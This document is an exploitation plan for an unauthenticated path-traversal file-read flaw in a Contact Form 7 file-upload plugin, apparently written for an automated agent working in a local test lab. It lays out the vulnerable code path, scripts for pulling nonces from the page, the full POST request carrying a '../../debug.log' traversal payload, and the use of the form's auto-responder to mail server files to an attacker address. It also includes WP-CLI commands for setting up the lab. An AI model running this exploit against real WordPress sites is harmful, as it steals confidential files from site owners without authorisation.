Exploitation Research Plan: CVE-2026-5710

1. Vulnerability Summary

The Drag and Drop Multiple File Upload for Contact Form 7 plugin (up to version 1.3.9.6) is vulnerable to an unauthenticated arbitrary file read vulnerability via path traversal.

The vulnerability exists because the plugin trusts client-supplied values in the mfile[] POST parameters. During form submission, the plugin appends these values to its upload directory URL in dnd_wpcf7_posted_data(). Subsequently, in dnd_cf7_mail_components(), it converts these URLs back into absolute filesystem paths using simple string replacement and attaches them to the outgoing Contact Form 7 email. Because there is no check to ensure the file was actually uploaded by the plugin or stays within the intended directory, an attacker can use ../ sequences to traverse the filesystem and attach any file readable by the web server (limited to the wp-content directory by Contact Form 7's own security boundaries) to the email.

2. Attack Vector Analysis

• Target Endpoint: Contact Form 7's AJAX or REST API submission endpoint.
  • REST: /wp-json/contact-form-7/v1/contact-forms/<ID>/feedback
  • AJAX: /wp-admin/admin-ajax.php?action=wpcf7_submit
• Vulnerable Parameter: The name of the mfile field defined in the form (e.g., upload-file-1[]).
• Authentication: None required (Unauthenticated).
• Preconditions:
  • A Contact Form 7 form must exist that uses the [mfile] tag.
  • The form should ideally have "Mail (2)" (auto-responder) enabled and configured to include the mfile field as an attachment, allowing the attacker to receive the file at an email address they control.

3. Code Flow

1. Entry: A user submits a CF7 form containing an mfile field.
2. Hook: inc/dnd-upload-cf7.php registers add_filter('wpcf7_posted_data', 'dnd_wpcf7_posted_data', 10, 1);.
3. Processing: dnd_wpcf7_posted_data() is called.
   • It iterates through form tags.
   • When it finds basetype == 'mfile', it takes the POST data:
     $posted_data[$field_name][$key] = trailingslashit( $uploads_dir['upload_url'] ) . $file;
   • Here, $file is the attacker-supplied traversal string (e.g., ../../../debug.log).
4. Sink: dnd_cf7_mail_components() (hooked to wpcf7_mail_components) processes the mail components before sending.
   • It retrieves the pseudo-URL from the submission data.
   • It converts the URL to a path (e.g., by replacing site_url() with ABSPATH).
   • It checks if (file_exists($file_path)) and, if true, appends $file_path to $components['attachments'].
5. Exfiltration: Contact Form 7 sends the email with the sensitive file attached to the recipient(s).

4. Nonce Acquisition Strategy

To submit a Contact Form 7 form, a _wpcf7_nonce is typically required.

1. Identify Form: Find a page containing a CF7 form with an [mfile] tag. If none exists, create one (see Test Data Setup).
2. Navigate: Use browser_navigate to the page URL.
3. Extract CF7 Nonce:

   // Execute via browser_eval
   document.querySelector('input[name="_wpcf7_nonce"]').value
   

4. Extract Plugin AJAX Nonce (if needed for supplementary actions):
   • The plugin localizes its nonce in the dnd_cf7_uploader object.

   // Execute via browser_eval
   window.dnd_cf7_uploader?.ajax_nonce
   

5. Exploitation Strategy

This exploit involves submitting a form with a malicious payload in the mfile field.

1. Step 1: Discover Form Details
   Identify the form ID (_wpcf7), the field name for the mfile tag, and the _wpcf7_unit_tag.

2. Step 2: Construct Payload

   • Target File: wp-content/debug.log (common) or wp-content/plugins/drag-and-drop-multiple-file-upload-contact-form-7/drag-n-drop-upload-cf7.php.
   • Traversal: Since the base directory is wp-content/uploads/wp_dndcf7_uploads/, the relative path to wp-content/ is ../../.
   • Final Payload for mfile parameter: ../../debug.log.

3. Step 3: Execute Attack (HTTP Request)
   Send a POST request to the CF7 REST API.

   • URL: http://localhost:8080/wp-json/contact-form-7/v1/contact-forms/<ID>/feedback
   • Method: POST
   • Content-Type: multipart/form-data
   • Body Parameters:
     • _wpcf7: <ID>
     • _wpcf7_version: (Current CF7 version)
     • _wpcf7_locale: en_US
     • _wpcf7_unit_tag: <TAG>
     • _wpcf7_nonce: <NONCE>
     • your-email: attacker@example.com (Target for auto-responder)
     • <FIELD_NAME>[]: ../../debug.log (The traversal payload)

6. Test Data Setup

Prepare the environment using WP-CLI:

1. Install Plugins:

   wp plugin install contact-form-7 --activate
   wp plugin install drag-and-drop-multiple-file-upload-contact-form-7 --version=1.3.9.6 --activate
   

2. Create a Canary File:

   echo "CONFIDENTIAL_DATA_LEAKED" > /var/www/html/wp-content/secret-leak.txt
   

3. Create Vulnerable Form:
   Create a CF7 form that includes an mfile field and sends an auto-responder (Mail 2) to the user.

   # Use wp eval to create the form programmatically
   wp eval '
   $cf = wpcf7_contact_form::get_template();
   $cf->set_title("Vulnerable Form");
   $cf->set_properties([
       "form" => "[text* your-name][email* your-email][mfile leak-field][submit \"Send\"]",
       "mail_2" => [
           "active" => true,
           "recipient" => "[your-email]",
           "sender" => "admin@example.com",
           "subject" => "Your Files",
           "body" => "See attached.",
           "attachments" => "[leak-field]"
       ]
   ]);
   $cf->save();
   echo "Form ID: " . $cf->id();
   '
   

4. Publish Page with Form:

   wp post create --post_type=page --post_status=publish --post_title="Contact" --post_content='[contact-form-7 id="<FORM_ID>"]'
   

7. Expected Results

• The HTTP response from the CF7 endpoint should return {"status":"mail_sent", "message":"..."}.
• Internally, the $components['attachments'] array in the mailer will contain the resolved path: /var/www/html/wp-content/secret-leak.txt.
• In a real-world scenario, the attacker would receive an email at attacker@example.com with the file attached.

8. Verification Steps

Since actual email delivery might not be visible in the test container:

1. Check Mail Log: If a mail logging plugin is installed, check for the sent attachment.
2. Mock Filter Test: Use WP-CLI to verify that the plugin logic correctly resolves the traversal:

   wp eval '
   $field_name = "leak-field";
   $payload = "../../secret-leak.txt";
   $uploads = dnd_get_upload_dir();
   $pseudo_url = trailingslashit($uploads["upload_url"]) . $payload;
   
   // Simulate dnd_cf7_mail_components logic
   $file_path = str_replace(site_url() . "/", wp_normalize_path(ABSPATH), $pseudo_url);
   echo "Resolved Path: " . $file_path . "\n";
   echo "File Exists: " . (file_exists($file_path) ? "YES" : "NO") . "\n";
   '
   

9. Alternative Approaches

If the REST API is disabled or restricted:

• Use the AJAX entry point: POST /wp-admin/admin-ajax.php with action=wpcf7_submit.
• Ensure all standard CF7 hidden fields are included (_wpcf7_container_post, etc.).
• If wp-config.php is restricted by wpcf7_is_file_path_in_content_dir(), target wp-content/debug.log or a theme's style.css to confirm read access.